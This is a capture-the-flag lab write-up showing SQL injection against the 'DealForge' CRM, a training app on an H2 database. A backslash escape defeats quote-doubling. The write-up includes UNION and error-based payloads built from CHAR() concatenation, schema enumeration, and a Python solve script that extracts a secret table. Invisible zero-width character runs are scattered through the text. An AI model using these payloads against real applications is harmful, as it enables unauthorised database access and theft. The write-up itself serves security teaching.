← Back to Writeups
CUSTOMMediumWeb

Lab 86 — DealForge — SQL Injection via Backslash Escape Bypass of Quote-Doubling in H2

XESXOR9/2/20265 min read
#web#custom#medium#backslash_escape_quote_doublin#error_based_data_extraction#union_select_with_listagg#char_concatenation_to_avoid_qu#sql_comment_for_repeated_injec

Lab 86 — DealForge — SQL Injection via Backslash Escape Bypass of Quote-Doubling in H2

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: backslash_escape_quote_doubling_bypass, error_based_data_extraction, union_select_with_listagg, char_concatenation_to_avoid_quotes, sql_comment_for_repeated_injection_points

Summary

Walkthrough of the CUSTOM Web Lab 86 — DealForge — SQL Injection via Backslash Escape Bypass of Quote-Doubling in H2. Task: CRM platform with contacts search using H2 database; input sanitized by quote-doubling but backslash not escaped. Solution: Backslash escape bypasses quote-doubling, enabling UNION/error-based S

Description

DealForge is an enterprise CRM platform built by ForgeStack Technologies for managing sales pipelines, contacts, and business deals. The application features rich search and filtering capabilities across its data models, powered by a Java ORM-based data access layer with an embedded H2 database. The objective is to probe the application's data retrieval mechanisms and find a way to access restricted information stored in the system's backend database. The flag is hidden somewhere in the database — but not in any of the tables you can see through normal application usage. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Java Spring Boot CRM application with an embedded H2 database. The contacts search feature is vulnerable to SQL injection through a backslash escape bypass of the quote-doubling defense. The flag is stored in a hidden SYSTEM_SECRETS table not accessible through normal UI.

Credentials: user@test.com / password123 Target: https://3b789fdb-2118-432b-a162-5a31fcd4aeb4.labs.hackadvisor.io/

Analysis

Application Reconnaissance

After logging in with provided credentials (JSESSIONID session), the application presents a CRM dashboard with contacts, deals, and activities. The contacts page at /contacts?q= provides a search feature that queries across multiple fields. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SQL Query Structure

The underlying query (revealed via error messages):

sql
SELECT c.* FROM CONTACT c 
WHERE UPPER(c.FULL_NAME) LIKE UPPER('%INPUT%') 
   OR UPPER(c.COMPANY) LIKE UPPER('%INPUT%') 
   OR UPPER(c.EMAIL) LIKE UPPER('%INPUT%') 
ORDER BY c.FULL_NAME

Key observations:

  • User input is inserted into 3 separate LIKE clauses in the same query
  • The application uses UPPER() for case-insensitive search
  • The CONTACT table has 11 columns (determined via ORDER BY)

Defense Mechanism: Quote Doubling

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application sanitizes single quotes by doubling them: ' → ''. This is a standard Java/Hibernate defense that normally prevents SQL injection by ensuring quotes remain within string context.

Vulnerability: Backslash Escape Bypass

In H2 database, the backslash character \ acts as an escape character within strings. When combined with quote-doubling:

  1. Attacker inputs: \' PAYLOAD
  2. App doubles the quote: \'' PAYLOAD
  3. H2 interprets \' as an escaped literal quote character
  4. The remaining ' (from the doubling) closes the string
  5. PAYLOAD is now interpreted as SQL code ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is a well-known bypass documented in the Sonar article "Exploiting Hibernate Injections."

Confirmation

Input \' causes a SQL syntax error that reveals the full query:

sql
SELECT c.* FROM CONTACT c WHERE UPPER(c.FULL_NAME) LIKE UPPER('%\''%') OR UPPER(c.COMPANY) LIKE UPPER('%\''%') OR UPPER(c.EMAIL) LIKE UPPER('%\''%') ORDER BY c.FULL_NAME

The \ escapes the first ', the doubled ' closes the string, and %') becomes SQL code outside the string.

Solution

Step 1: Boolean-Based Injection Confirmation

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Since the input appears in 3 LIKE clauses, the payload must handle all three gracefully:

Payload: ') OR 1=1 OR ('x')=UPPER('

This returns all 40 contacts, confirming injection. The payload works because:

  • First clause: ...LIKE UPPER('%\'' ) OR 1=1 OR ('x')=UPPER('%') — breaks out, injects OR 1=1, then creates valid syntax for the remaining clauses

Step 2: Column Count via ORDER BY

Using -- comment to ignore the repeated injection points:

Payload: \' ) ORDER BY 11 --

ORDER BY 11 succeeds, ORDER BY 12 fails → 11 columns in the CONTACT table. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Schema Enumeration via Error-Based Extraction

UNION SELECT with a subquery in column 3 triggers a type conversion error that leaks the value in the error message. Using CHAR() concatenation to avoid quotes (which would be doubled):

sql
Payload: \' ) UNION SELECT 1,CHAR(65),(SELECT LISTAGG(TABLE_NAME, CHAR(44)) WITHIN GROUP (ORDER BY TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = CHAR(80)||CHAR(85)||CHAR(66)||CHAR(76)||CHAR(73)||CHAR(67)),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65)--

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result leaked in error: ACTIVITY, CONTACT, DEAL, SYSTEM_SECRETS, USERS

Step 4: Hidden Table Column Enumeration

Enumerated columns of SYSTEM_SECRETS table:

  • ID — integer
  • KEY_NAME — varchar
  • KEY_VALUE — varchar

Step 5: Flag Extraction

Extracted KEY_NAME value: flag

Extracted KEY_VALUE using SUBSTRING to handle error message length truncation:

sql
-- First part (position 1):
\' ) UNION SELECT 1,CHAR(65),(SELECT SUBSTRING(KEY_VALUE,1,32) FROM SYSTEM_SECRETS WHERE KEY_NAME=CHAR(102)||CHAR(108)||CHAR(97)||CHAR(103)),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65)--
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

-- Result: FLAG{REDACTED

-- Second part (position 33):
\' ) UNION SELECT 1,CHAR(65),(SELECT SUBSTRING(KEY_VALUE,33,10) FROM SYSTEM_SECRETS WHERE KEY_NAME=CHAR(102)||CHAR(108)||CHAR(97)||CHAR(103)),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65)--

-- Result: 3b027}

Combined: FLAG{REDACTED}

Solve Script

python
#!/usr/bin/env python3
"""
DealForge CRM - SQL Injection via Backslash Escape Bypass
Exploits quote-doubling bypass in H2 database using backslash escape
"""

import requests
import re
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET = "https://3b789fdb-2118-432b-a162-5a31fcd4aeb4.labs.hackadvisor.io"

def login():
    """Login and get session"""
    s = requests.Session()
    s.post(f"{TARGET}/login", data={
        "username": "user@test.com",
        "password": "password123"
    }, allow_redirects=True)
    return s

def search(session, query):
    """Search contacts with injection payload"""
    r = session.get(f"{TARGET}/contacts", params={"q": query})
    return r.text

def chars(s):
    """Convert string to CHAR() concatenation to avoid quotes"""
    return "||".join(f"CHAR({ord(c)})" for c in s)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def extract_error(html):
    """Extract leaked data from error message"""
    match = re.search(r'Search error[^<]*<[^>]*>([^<]+)', html)
    if match:
        return match.group(1)
    return None

def exploit(session):
    # Step 1: Enumerate tables
    payload = (
        f"\\' ) UNION SELECT 1,CHAR(65),"
        f"(SELECT LISTAGG(TABLE_NAME, CHAR(44)) WITHIN GROUP (ORDER BY TABLE_NAME) "
        f"FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = {chars('PUBLIC')}),"
        f"CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65)--"
    )
    html = search(session, payload)
    print(f"[*] Tables: {extract_error(html)}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Step 2: Extract flag (first part)
    payload = (
        f"\\' ) UNION SELECT 1,CHAR(65),"
        f"(SELECT SUBSTRING(KEY_VALUE,1,32) FROM SYSTEM_SECRETS "
        f"WHERE KEY_NAME={chars('flag')}),"
        f"CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65)--"
    )
    html = search(session, payload)
    part1 = extract_error(html)
    print(f"[*] Flag part 1: {part1}")

    # Step 3: Extract flag (second part)
    payload = (
        f"\\' ) UNION SELECT 1,CHAR(65),"
        f"(SELECT SUBSTRING(KEY_VALUE,33,10) FROM SYSTEM_SECRETS "
        f"WHERE KEY_NAME={chars('flag')}),"
        f"CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65)--"
    )
    html = search(session, payload)
    part2 = extract_error(html)
    print(f"[*] Flag part 2: {part2}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    print(f"\n[+] Flag: {part1}{part2}")

if __name__ == "__main__":
    session = login()
    exploit(session)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering backslash_escape_quote_doubling_bypass, error_based_data_extraction, union_select_with_listagg, char_concatenation_to_avoid_quotes, sql_comment_for_repeated_injection_points was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 86 — DealForge — SQL Injection via Backslash Escape Bypass of Quote-Doubling in H2 • Difficulty: Medium